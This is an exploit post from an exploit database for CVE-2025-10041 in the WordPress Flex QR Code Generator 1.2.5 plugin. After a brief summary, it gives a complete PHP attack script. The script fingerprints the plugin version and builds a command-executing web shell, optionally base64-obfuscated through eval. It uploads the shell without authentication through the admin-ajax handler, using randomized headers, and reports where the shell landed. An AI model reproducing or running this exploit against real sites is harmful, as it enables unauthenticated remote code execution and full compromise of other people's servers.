Share
## https://sploitus.com/exploit?id=PACKETSTORM:216366
=============================================================================================================================================
    | # Title     : WordPress Flex QR Code Generator 1.2.5 - Unauthenticated Remote Code Execution via Arbitrary File Upload                    |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://wordpress.org/plugins/flex-qr-code-generator/                                                                       |
    =============================================================================================================================================
    
    POC : 
    
    [+] References : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-10041 
    
                     https://packetstorm.news/files/id/210541/
    
                     https://wpscan.com/vulnerability/12347
    
    [+] Summary
       
        A critical security vulnerability exists in the WordPress Flex QR Code Generator plugin version 1.2.5. 
    	The vulnerability allows unauthenticated attackers to upload arbitrary PHP files through the QR code creation functionality, 
    	leading to remote code execution and complete compromise of the WordPress installation.
    	
    The vulnerability exists in the QR code creation functionality of the Flex QR Code Generator plugin. 
    The 'flexqr_save_qr' AJAX handler lacks proper file type validation and authentication checks, allowing attackers to:
    
    1. Bypass authentication completely
    2. Upload arbitrary PHP files as QR code logos
    3. Execute the uploaded files with web server privileges
    4. Achieve remote code execution
    
    
    [+] Usage: 
    
    Usage: php poc.php -u https://example.com
    
    [+] POC :
    
    
    <?php
    /**
     * CVE-2025-10041 Exploit - Flex QR Code Generator Plugin
     * By: indoushka
     */
    
    class FlexQRExploit {
        private $userAgents = [
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)", 
            "Mozilla/5.0 (Linux; Android 10)",
            "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X)",
            "Mozilla/5.0 (Nxploited)"
        ];
        
        private $referers = [
            "https://google.com",
            "https://bing.com", 
            "https://facebook.com",
            "https://twitter.com",
            "https://evil.com"
        ];
        
        public function printWait($msg, $delay = 2) {
            echo $msg . "\n";
            sleep($delay);
        }
        
        public function randomHeaders($customHeaders = null) {
            $headers = [
                "User-Agent: " . $this->userAgents[array_rand($this->userAgents)],
                "Accept: */*",
                "Connection: close",
                "Referer: " . $this->referers[array_rand($this->referers)],
                "Cookie: wp_nonce=" . rand(100000, 999999) . "; test=" . rand(1, 9999)
            ];
            
            if ($customHeaders) {
                $headers = array_merge($headers, $customHeaders);
            }
            
            return $headers;
        }
        
        public function getReadmeVersion($targetUrl, $headers) {
            $url = rtrim($targetUrl, '/') . "/wp-content/plugins/flex-qr-code-generator/readme.txt";
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_HTTPHEADER => $headers,
                CURLOPT_TIMEOUT => 10,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false
            ]);
            
            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if ($httpCode === 200 && strpos($response, "Version: 1.2.5") !== false) {
                return true;
            }
            
            return false;
        }
        
        public function encodeFilename($filename, $method) {
            if ($method === "base64") {
                $encoded = base64_encode($filename);
                return rtrim(strtr($encoded, '+/', '-_'), '=');
            } elseif ($method === "url") {
                return urlencode($filename);
            }
            return $filename;
        }
        
        public function encodeContent($content, $method) {
            if ($method === "base64") {
                $encoded = base64_encode($content);
                return "<?php eval(base64_decode('" . $encoded . "')); ?>";
            }
            return $content;
        }
        
        public function createShellFile($shellName, $shellCode = null, $encodeContentMethod = null) {
            $shellContent = $shellCode ?: "<?php echo shell_exec(\$_GET['cmd']); ?>";
            
            if ($encodeContentMethod) {
                $shellContent = $this->encodeContent($shellContent, $encodeContentMethod);
            }
            
            if (file_put_contents($shellName, $shellContent) !== false) {
                return $shellName;
            }
            
            throw new Exception("Failed to create shell file: " . $shellName);
        }
        
        public function buildPayload($shellName, $qrName, $qrDesc, $qrData, $isTracking) {
            $qrJson = [
                "qrName" => $qrName,
                "qrDesc" => $qrDesc, 
                "qrData" => $qrData
            ];
            
            $payload = [
                "action" => "flexqr_save_qr",
                "qrData" => str_replace("'", '"', json_encode($qrJson)),
                "isTrackingEnabled" => $isTracking ? "true" : "false"
            ];
            
            return $payload;
        }
        
        public function uploadShell($targetUrl, $payload, $shellName, $headers, $retries = 3) {
            $url = rtrim($targetUrl, '/') . "/wp-admin/admin-ajax.php";
            
            if (!file_exists($shellName)) {
                throw new Exception("Shell file not found: " . $shellName);
            }
            
            $postData = $payload;
            $postData['logo'] = new CURLFile($shellName);
            
            for ($attempt = 0; $attempt < $retries; $attempt++) {
                $ch = curl_init();
                curl_setopt_array($ch, [
                    CURLOPT_URL => $url,
                    CURLOPT_POST => true,
                    CURLOPT_POSTFIELDS => $postData,
                    CURLOPT_HTTPHEADER => $headers,
                    CURLOPT_TIMEOUT => 15,
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_FOLLOWLOCATION => false,
                    CURLOPT_SSL_VERIFYPEER => false,
                    CURLOPT_SSL_VERIFYHOST => false
                ]);
                
                $response = curl_exec($ch);
                $error = curl_error($ch);
                $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                curl_close($ch);
                
                if (!$error) {
                    return [
                        'success' => true,
                        'response' => $response,
                        'http_code' => $httpCode
                    ];
                }
                
                echo "Upload error (try " . ($attempt + 1) . "): " . $error . "\n";
                sleep(rand(1, 3));
            }
            
            return [
                'success' => false,
                'error' => 'All upload attempts failed'
            ];
        }
        
        public function extractUploadedName($shellName, $responseJson) {
            try {
                if (isset($responseJson['data']['id'])) {
                    $insertedId = $responseJson['data']['id'];
                    $pathInfo = pathinfo($shellName);
                    $finalName = $pathInfo['filename'] . '_' . $insertedId . '.' . $pathInfo['extension'];
                    return $finalName;
                }
            } catch (Exception $e) {
                // Ignore extraction errors
            }
            return null;
        }
        
        public function isSuccessful($response) {
            try {
                $json = json_decode($response, true);
                if (isset($json['success']) && $json['success'] === true) {
                    if (isset($json['data']['message']) && 
                        strpos($json['data']['message'], 'QR code saved successfully') !== false) {
                        return [true, $json];
                    }
                }
            } catch (Exception $e) {
                // JSON decode failed
            }
            return [false, null];
        }
        
        public function execute($args) {
            $headers = $this->randomHeaders($args['headers'] ?? null);
            
            $this->printWait("Checking vulnerability version...");
            if (!$this->getReadmeVersion($args['url'], $headers)) {
                echo "Target is not vulnerable.\n";
                exit(0);
            }
            
            echo "Target is vulnerable ...\n";
            $this->printWait("Exploiting ...");
            
            $shellName = $args['shellname'] ?? 'shell.php';
            
            if (isset($args['encode_filename'])) {
                $shellNameEncoded = $this->encodeFilename($shellName, $args['encode_filename']);
                echo "[*] Filename encoded: $shellName -> $shellNameEncoded\n";
                $shellName = $shellNameEncoded;
            }
            
            $this->createShellFile($shellName, null, $args['encode_content'] ?? null);
            $this->printWait("Uploading shell '$shellName' ...");
            
            $payload = $this->buildPayload(
                $shellName,
                $args['qr_name'] ?? 'shell',
                $args['qr_desc'] ?? 'bypass', 
                $args['qr_data'] ?? 'https://evil.com',
                $args['is_tracking'] ?? false
            );
            
            $uploadResult = $this->uploadShell($args['url'], $payload, $shellName, $headers);
            
            if (!$uploadResult['success']) {
                echo "Upload failed: " . $uploadResult['error'] . "\n";
                exit(1);
            }
            
            list($success, $json) = $this->isSuccessful($uploadResult['response']);
            
            if ($success) {
                $uploadedName = $this->extractUploadedName($shellName, $json);
                echo "Shell uploaded successfully.\n";
                echo "Shell path (guess): /wp-content/uploads/" . ($uploadedName ?: 'unknown') . "\n";
                echo "Response: " . json_encode($json, JSON_PRETTY_PRINT) . "\n";
            } else {
                echo "Upload unsuccessful.\n";
                echo "Response: " . $uploadResult['response'] . "\n";
            }
            
            // Cleanup local shell file
            if (file_exists($shellName)) {
                unlink($shellName);
            }
        }
    }
    
    // Command line interface
    if (php_sapi_name() === 'cli') {
        $options = getopt("u:", [
            "url:",
            "shellname:",
            "qr_name:",
            "qr_desc:", 
            "qr_data:",
            "is_tracking:",
            "encode_filename:",
            "encode_content:",
            "help"
        ]);
        
        if (isset($options['help']) || !isset($options['url'])) {
            echo "CVE-2025-10041 Exploit - Flex QR Code Generator\n";
            echo "Usage: php exploit.php -u <url> [options]\n\n";
            echo "Options:\n";
            echo "  -u, --url              Target URL (required)\n";
            echo "  --shellname            Shell filename (default: shell.php)\n";
            echo "  --qr_name              QR name (default: shell)\n";
            echo "  --qr_desc              QR description (default: bypass)\n"; 
            echo "  --qr_data              QR data (default: https://evil.com)\n";
            echo "  --is_tracking          Tracking enabled (default: false)\n";
            echo "  --encode_filename      Encode filename (base64, url)\n";
            echo "  --encode_content       Encode PHP content (base64)\n";
            echo "  --help                 Show this help\n\n";
            echo "Examples:\n";
            echo "  php exploit.php -u https://example.com\n";
            echo "  php exploit.php -u https://example.com --shellname backdoor.php --encode_filename base64\n";
            echo "  php exploit.php -u https://example.com --encode_content base64\n";
            exit(0);
        }
        
        $args = [
            'url' => $options['u'] ?? $options['url'],
            'shellname' => $options['shellname'] ?? 'shell.php',
            'qr_name' => $options['qr_name'] ?? 'shell',
            'qr_desc' => $options['qr_desc'] ?? 'bypass',
            'qr_data' => $options['qr_data'] ?? 'https://evil.com',
            'is_tracking' => isset($options['is_tracking']) ? filter_var($options['is_tracking'], FILTER_VALIDATE_BOOLEAN) : false,
            'encode_filename' => $options['encode_filename'] ?? null,
            'encode_content' => $options['encode_content'] ?? null
        ];
        
        $exploit = new FlexQRExploit();
        $exploit->execute($args);
    } else {
        echo "This script is intended for command line use only.\n";
    }
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================